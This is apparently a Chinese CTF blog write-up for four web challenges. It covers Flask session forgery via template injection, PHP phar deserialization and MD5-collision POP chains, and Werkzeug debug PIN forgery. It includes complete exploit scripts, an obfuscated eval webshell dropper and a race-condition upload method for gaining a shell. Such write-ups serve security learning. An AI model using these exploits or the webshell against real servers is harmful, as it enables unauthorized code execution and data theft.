第七届楚慧杯web writeup

Web

Python_easy

Flask session伪造,登录用户名处模板注入

用户名用{{config}}获取配置信息拿到
secret_key b’8\x98B\xf6\xad\xfb\xaf\xfcw\x8a=\xa2\xb2g\n\xe3-\x98Z;\xd9x\x8f\xae’
用脚本生成session

/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage

    ## Description for help
    parser = argparse.ArgumentParser(
        description='Flask Session Cookie Decoder/Encoder',
        epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                               help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                               help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                               help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                               help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    print(FSCM.encode(b'8\x98B\xf6\xad\xfb\xaf\xfcw\x8a=\xa2\xb2g\n\xe3-\x98Z;\xd9x\x8f\xae', "{'username': 'admin'}"))
    # if(args.subcommand == 'encode'):
    #     if(args.secret_key is not None and args.cookie_structure is not None):
    #         print(FSCM.encode(args.secret_key, args.cookie_structure))
    # elif(args.subcommand == 'decode'):
    #     if(args.secret_key is not None and args.cookie_value is not None):
    #         print(FSCM.decode(args.cookie_value,args.secret_key))
    #     elif(args.cookie_value is not None):
    #         print(FSCM.decode(args.cookie_value))

替换session成为admin 访问flag即可

small_mini

/file.php?file=文件读取漏洞拿到源码

Class.php可以进行找到pop链读取flag.php文件
file.php可以拿到网站根目录
从而获取到了flag.php的绝对路径
利用file_exists函数能触发phar反序列化
生成phar脚本如下

<?php
class User
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|flag/i',$this->source)) {
            die('die! hacker');
        } else {
            highlight_file($this->source);
        }

    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "die! hacker";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}

$phar=new Phar("phar.phar");  //后缀名必须为phar
$phar->startBuffering();   //开始缓冲phar写操作
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>");  //设置phar的文件标识
$user = new User("1");
$show = new Show("1");
$test = new Test();
$test->params = array("source"=>"/var/www/html/flag.php");
$show->str = array("str"=>$test);
$user->str=$show;
$phar->setMetadata($user);    //设置phar存储的自定义meta-data
$phar->addFromString("test.txt", "test");//添加要压缩的文件
$phar->stopBuffering();  //结束缓冲区
?>

上传携带phar文件,后缀改为jpg,
文件生成在upload目录下,文件名为md5(我的文件名+右上角ip).jpg
然后从查看文件处触发?file=phar://upload/c30d3c0cd8646e172b3fea093218f662.jpg再base64解码完成phar反序列化读取flag

easy_pop

找到pop链能够进行文件包含,提示了hint.php就读他

需要生成md5相同但值不同的序列,使用fastcoll

设置前缀为php://filter/read=convert.base64-encode|vw/resource=hint.php刚好60字符

将md5碰撞结果放到1.txt和2.txt中

生成序列化代码如下

<?php
//hint.php
show_source(__File__);
class K{
    public $code;
    private $code2;
    function __get($key)
    {
        $this->code->$key();
    }
}

class F{
    public $var1;
    public $var2;
    function __toString(){
        if(($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2))){
            include(substr($this->var2,0,60));
        }
    }
}

class C {
    public $thur;
    function __call($a,$b){
        echo $this->thur;
    }
}

class V{
    public $sun;
    function __destruct(){
        $this->sun->code2;
    }
}

function  readmyfile($path){
    $fh = fopen($path, "rb");
    $data = fread($fh, filesize($path));
    fclose($fh);
    return $data;
}

$v = new V();
$k = new K();
$v->sun = $k;
$c = new C();
$k->code = $c;
$f = new F();
$c->thur = $f;
$f->var1 = readmyfile("1.txt");
$f->var2 = readmyfile("2.txt");

echo urlencode(serialize($v));
?>

拿到hint后进入到一个文件上传界面,对后缀名没有检测,但上传后文件很快被删除,并且对文件内容有检测。

使用如下木马

<?php
$a = 'fil';
$b = 'e_put_con'.'tents';
$c = $a.$b;
$c("shell.txt","<?php @ev"."al(\$_PO"."ST['ant']);");
?>

竞争上传,一个进程疯狂传马,一个进程疯狂访问马的路径

直到大量404里有一个200停下,upload/shell.php就已经被生成了从而getshell

在这里插入图片描述

小f的网站

flask的debug泄漏,伪造pin码直接使用python shell拿到flag

/file目录存在文件读取,用来获取伪造pin需要的信息

伪造pin码需要
1.服务器运行flask所登录的用户名,从/etc/passwd。
2.modname
3.getattr(app, “name”, app.class.name)。
4.flask库下app.py的绝对路径,从debug页面获取。
5.当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address获得
6.最后一个就是机器的id,通过文件/proc/self/cgroup的pids处。

2、3都是固定值,其他的通过读文件和debug页面拿到,生成pin的脚本如下

#!/usr/bin/python2.7
#coding:utf-8

from sys import *
import requests
import re
from itertools import chain
import hashlib

def genpin(mac,mid):

    probably_public_bits = [
        'root', # username
        'flask.app', # 一般为固定值modname
        'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
        '/usr/local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None),
    ]
    mac = "0x"+mac.replace(":","")
    mac = int(mac,16)
    private_bits = [
        str(mac), # str(uuid.getnode()),  /sys/class/net/eth0/address
        str(mid) # get_machine_id(), /proc/sys/kernel/random/boot_id
    ]

    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode('utf-8')
        h.update(bit)
    h.update(b'cookiesalt')

    num = None
    if num is None:
        h.update(b'pinsalt')
        num = ('%09d' % int(h.hexdigest(), 16))[:9]

    rv =None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                              for x in range(0, len(num), group_size))
                break
        else:
            rv = num

    return rv

def getcode(content):
    try:
        return re.findall(r"<pre>([\s\S]*)</pre>",content)[0].split()[0]
    except:
        return ''
def getshell():
    print (genpin("02:42:ac:11:00:19","9b4a22faf1aa0ee08038b0d4320d95c3bec57623bfd381b1dca5df97da3e357e"))

if __name__ == '__main__':
    getshell()

得到pin码168-792-274
输入不存在的文件如/file?file=/proc/self/fd/3进入debug页面
输入pin码进入python shell
Os.popen(‘cat /app/flag.txt’).read()拿到flag

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

b1ackc4t

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值